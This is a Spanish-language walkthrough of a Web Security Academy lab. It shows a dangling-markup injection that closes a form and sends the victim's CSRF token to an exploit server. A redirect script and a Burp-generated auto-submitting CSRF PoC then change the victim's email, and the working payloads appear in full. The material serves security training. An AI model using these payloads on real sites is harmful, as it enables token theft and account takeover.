Skip to content

Reflected XSS protected by very strict CSP, with dangling markup attack

[20260330175333.png]

LAB

[20260331043259.png]

En el sitio web vemos que podemos insertar codigo html.

[20260331043025.png]

c
?email=prueba"> </form>

Al insertar el valor de email por lo que podemos escapar de las etiquetas form

[20260331043830.png]

A partir de ello podemos construir nuestro boton y formulario el cual toma al csrf

c
https://0a6a00d103c1e7f9807d036d003d00f0.web-security-academy.net/my-account?email=prueba"> </form><form class="login_form"  name ="myform" action="https://exploit-0a33008303e6e77e805e02d1013b001e.exploit-server.net/exploit" method="GET" ><button class="button" type=submit>Click me </button>

[20260331044010.png]

Al presionar el botón se nos envía el csrf, esto debido a que es tomado dentro del nuevo formulario.

[20260331044029.png]

c
<script>
location='https://0a6a00d103c1e7f9807d036d003d00f0.web-security-academy.net/my-account?email=prueba"> </form><form class="login_form"  name ="myform" action="https://exploit-0a33008303e6e77e805e02d1013b001e.exploit-server.net/exploit" method="GET" ><button class="button" type=submit>Click me </button>'
</script>

Para obtener el csrf de la victima, podemos hacer uso del exploit server

[20260331044235.png]

Al guardar y entregar a la victima veremos que tenemos el csrf del usuario victima.

[20260331044309.png]

c
 /exploit?csrf=ot6BaEznTSkIRyCy89lCu9X18AcDvpwU

Para poder realizar un cambio del correo podemos usar un poc de CSRF que es construido por burpsuite.

[20260331044441.png]

[20260331044502.png]

Al generar la POc vemos que tenemos lo siguiente:

c
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6a00d103c1e7f9807d036d003d00f0.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacker@evil-user.net" />
      <input type="hidden" name="csrf" value="ot6BaEznTSkIRyCy89lCu9X18AcDvpwU" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

[20260331044618.png]

Luego daremos a guardar y entregar a al victima y veremos que el laboratorio queda solucionado, cambiando el correo efectivamente.